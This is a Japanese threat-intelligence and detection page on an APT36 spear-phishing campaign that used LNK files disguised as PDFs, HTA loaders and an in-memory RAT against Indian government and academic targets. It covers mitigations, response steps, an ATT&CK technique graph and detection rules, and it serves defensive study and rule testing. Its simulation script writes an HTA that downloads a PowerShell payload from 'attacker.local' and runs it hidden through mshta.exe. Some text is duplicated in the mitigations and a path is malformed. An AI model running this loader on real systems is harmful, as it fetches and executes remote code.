APT36:インド政府機関を狙ったマルチステージLNKマルウェアキャンペーン
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
APT36(Transparent Tribe)は、PDFに偽装した悪意のあるLNKショートカットを配布するスピアフィッシングキャンペーンを実施しました。このショートカットを開くと、 mshta.exe が起動し、メモリ内で暗号化を解除してペイロードを実行するHTAベースのローダーが実行されます。これには、構成モジュールと多機能なRAT DLLが含まれています。このマルウェアは、被害者のインストールされているウイルス対策ソフトウェアに基づいて継続性の方法を動的に選択し、暗号化されたチャネルを介してコマンド&コントロールサーバーに接続します。インドの政府および学術機関を標的とし、データを盗むことを目的としたスパイ活動として評価されています。
調査
研究者は、異常に大きなLNKファイルを分析し、 innlive.inにホストされている埋め込まれたHTAコンテンツをたどり、復号化ロジックをリバースエンジニアリングしました。このチェーンは、セキュリティチェックを弱めるまたはバイパスするための.NETデシリアライゼーションペイロードの後、RAT機能を提供するファイルレスの悪意のあるDLL(例: ki2mtmkl.dll / iinneldc.dll)の2つの主要なステージを明らかにしました。永続性の動作は特定のウイルス対策製品にマッピングされ、分析中に暗号化されたトラフィックに使用される TCPポート8621 および AESキー などの主要C2詳細が抽出されました。
緩和策
メールで配信されるショートカット(.lnk)の添付ファイルを制限または隔離し、特にZIPアーカイブにパックされている場合は注意が必要です。アプリケーション制御ポリシーを適用して、ユーザーが書き込み可能なパスからの mshta.exe、PowerShell、および他のスクリプトエンジンの実行を制限します。プロセスチェーンに関するエンドポイント検出を使用し、メモリ内DLLの実行の指標を確認し、未知または信頼できないドメインとの通信をブロックするために厳格な出口制御を施行します。 mshta.exe and indicators of in-memory DLL execution, and enforce tight egress controls to block communication with unknown or untrusted domains.
対応
不審なLNK実行が検出された場合、システムを隔離し、メモリイメージをキャプチャし、RATステージに関連するメモリ内DLLの指標を検索します。特定された悪意のあるドメインや関連するIPインフラをブロックし、潜在的に露出した資格情報を更新します。スタートアップフォルダーとレジストリでの永続化アーティファクトを見つけて削除し、追加の侵入がないことを確認します。
“graph TB %% Class definitions classDef technique fill:#cfe2f3 %% Node definitions tech_T1566_001[“<b>テクニック</b> – <b>T1566.001</b> フィッシング: スピアフィッシングアタッチメント<br/>悪意のある添付ファイルを含む標的型メールを送信する”] class tech_T1566_001 technique tech_T1218_005[“<b>テクニック</b> – <b>T1218.005</b> システムバイナリプロキシ実行: Mshta<br/>mshta.exe を介した悪意のある HTA の実行”] class tech_T1218_005 technique tech_T1059_001[“<b>テクニック</b> – <b>T1059.001</b> PowerShell<br/>ペイロードをダウンロードするための PowerShell コマンドの実行”] class tech_T1059_001 technique tech_T1059_005[“<b>テクニック</b> – <b>T1059.005</b> Visual Basic<br/>VBScript を使用して HTA スクリプトを実行”] class tech_T1059_005 technique tech_T1027[“<b>テクニック</b> – <b>T1027</b> 難読化ファイルまたは情報<br/>ペイロードは層状にエンコード/暗号化されている”] class tech_T1027 technique tech_T1055[“<b>テクニック</b> – <b>T1055</b> プロセスインジェクション<br/>正当なプロセスに悪意のある DLL を注入”] class tech_T1055 technique tech_T1547_001[“<b>テクニック</b> – <b>T1547.001</b> ブートまたはログオン オートスタート実行: スタートアップフォルダ<br/>ショートカットによるスタートアップでの永続化”] class tech_T1547_001 technique tech_T1112[“<b>テクニック</b> – <b>T1112</b> レジストリの変更<br/>永続化のために Run キーを追加する”] class tech_T1112 technique tech_T1036[“<b>テクニック</b> – <b>T1036</b> 偽装<br/>LNK が PDF として偽装される”] class tech_T1036 technique tech_T1518_001[“<b>テクニック</b> – <b>T1518.001</b> ソフトウェア探索: セキュリティソフトウェア探索<br/>インストールされた AV をクエリする”] class tech_T1518_001 technique tech_T1082[“<b>テクニック</b> – <b>T1082</b> システム情報探索<br/>OS、ユーザー名などを収集する”] class tech_T1082 technique tech_T1057[“<b>テクニック</b> – <b>T1057</b> プロセス探索<br/>プロセスを列挙する”] class tech_T1057 technique tech_T1083[“<b>テクニック</b> – <b>T1083</b> ファイルおよびディレクトリ探索<br/>ドキュメントを検索する”] class tech_T1083 technique tech_T1115[“<b>テクニック</b> – <b>T1115</b> クリップボードデータ<br/>クリップボードをキャプチャする”] class tech_T1115 technique tech_T1113[“<b>テクニック</b> – <b>T1113</b> スクリーンキャプチャ<br/>スクリーンショットをキャプチャする”] class tech_T1113 technique tech_T1041[“<b>テクニック</b> – <b>T1041</b> C2 チャネルを介したデータ抽出<br/>C2 を介してデータを抽出する”] class tech_T1041 technique tech_T1573[“<b>テクニック</b> – <b>T1573</b> 暗号化チャネル<br/>C2 トラフィックが暗号化される”] class tech_T1573 technique %% Connections tech_T1566_001 u002du002d>|leads_to| tech_T1218_005 tech_T1218_005 u002du002d>|leads_to| tech_T1059_001 tech_T1218_005 u002du002d>|leads_to| tech_T1059_005 tech_T1059_001 u002du002d>|leads_to| tech_T1027 tech_T1027 u002du002d>|leads_to| tech_T1055 tech_T1055 u002du002d>|leads_to| tech_T1547_001 tech_T1547_001 u002du002d>|leads_to| tech_T1112 tech_T1218_005 u002du002d>|leads_to| tech_T1036 tech_T1036 u002du002d>|leads_to| tech_T1518_001 tech_T1518_001 u002du002d>|leads_to| tech_T1082 tech_T1082 u002du002d>|leads_to| tech_T1057 tech_T1057 u002du002d>|leads_to| tech_T1083 tech_T1083 u002du002d>|leads_to| tech_T1115 tech_T1083 u002du002d>|leads_to| tech_T1113 tech_T1115 u002du002d>|leads_to| tech_T1041 tech_T1113 u002du002d>|leads_to| tech_T1041 tech_T1055 u002du002d>|leads_to| tech_T1573 “
攻撃フロー
検出
コマンドラインでの二重拡張子を用いた可能性のある悪意のあるLNKファイル
表示
関連するコマンドの検出による疑わしいLOLBAS MSHTA防御回避の振る舞い(プロセス作成による)
表示
自動起動位置における疑わしいバイナリ/スクリプト(ファイルイベントによる)
表示
全ユーザープロファイルにおける疑わしいファイル(ファイルイベントによる)
表示
全ユーザープロファイルからの疑わしい実行(プロセス作成による)
表示
APT36: インド政府機関を標的としたマルチステージLNKマルウェアキャンペーンのIOC(SourceIP)を検出する
表示
APT36: インド政府機関を標的としたマルチステージLNKマルウェアキャンペーンのIOC(HashSha256)を検出する
表示
APT36: インド政府機関を標的としたマルチステージLNKマルウェアキャンペーンのIOC(DestinationIP)を検出する
表示
PowerShellまたはCMDとともにmshta.exeの実行 [Windows プロセス作成]
表示
APT36 悪意のあるドメインとC2通信検出 [Windows ネットワーク接続]
表示
APT36キャンペーンにおけるハードコードされたAESキーの検出 [Windows Sysmon]
表示
シミュレーション実行
前提条件: トレンドおよびベースラインの事前確認が完了している必要があります。
理論: このセクションは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳細に説明します。コマンドおよび説明は、特定されたTTPを直接反映し、検出ロジックによって予想される正確なテレメトリを生成することを目指します。
-
攻撃のストーリーとコマンド:
攻撃者は侵害されたワークステーションで低権限のPowerShellアクセスを取得しています。リモートペイロードをディスクに書き込まずに実行するために、攻撃者はmshta.exeを使用してC2サーバーからPowerShellバックドアを引き出すHTAファイルを実行します。手順は次の通りです:- 悪意のあるHTAをエンコードし、これがPowerShellを起動してペイロードをダウンロードおよび実行するようにします。
- HTAをWebサーバーにホストします(例:
http://attacker.local/malicious.hta). - 侵害されたPowerShellセッションから、リモートURLを引数として
mshta.exeを呼び出します。
このチェーンは、 プロセス作成 イベントを作成し、ここで
mshta.exeがの子プロセスとして働き、Sigmaルールに正確に一致します。, precisely matching the Sigma rule. -
回帰テストスクリプト:
#------------------------------------------------- # シミュレーターされた攻撃者のスクリプト – ルールをトリガー #------------------------------------------------- # 1. 悪意のあるHTAを定義(デモ用にインラインで) $htaContent = @" <script> // ダミーのPowerShellペイロードをダウンロードして実行 var url = 'http://attacker.local/payload.ps1'; var xhr = new ActiveXObject('Microsoft.XMLHTTP'); xhr.open('GET', url, false); xhr.send(); var ps = new ActiveXObject('WScript.Shell'); ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false); </script> "@ # 2. 一時的な場所にHTAを書き込む(ホストされたファイルをシミュレート) $tempPath = "$env:TEMPmalicious.hta" $htaContent | Set-Content -Path $tempPath -Encoding ASCII # 3. PowerShellからmshta.exeを起動(検出トリガー) $mshta = (Get-Command mshta.exe).Source Write-Host "[*] mshta.exeを起動してHTAペイロードを実行..." Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow # オプション: イベントがキャプチャされるように待つ Start-Sleep -Seconds 5 # クリーンアップ(次のセクションで処理) -
クリーンアップコマンド:
# 一時HTAファイルを削除 Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue # 残っている可能性のあるmshta.exeプロセスを停止(通常の実行後は発生しない) Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] クリーンアップ完了。"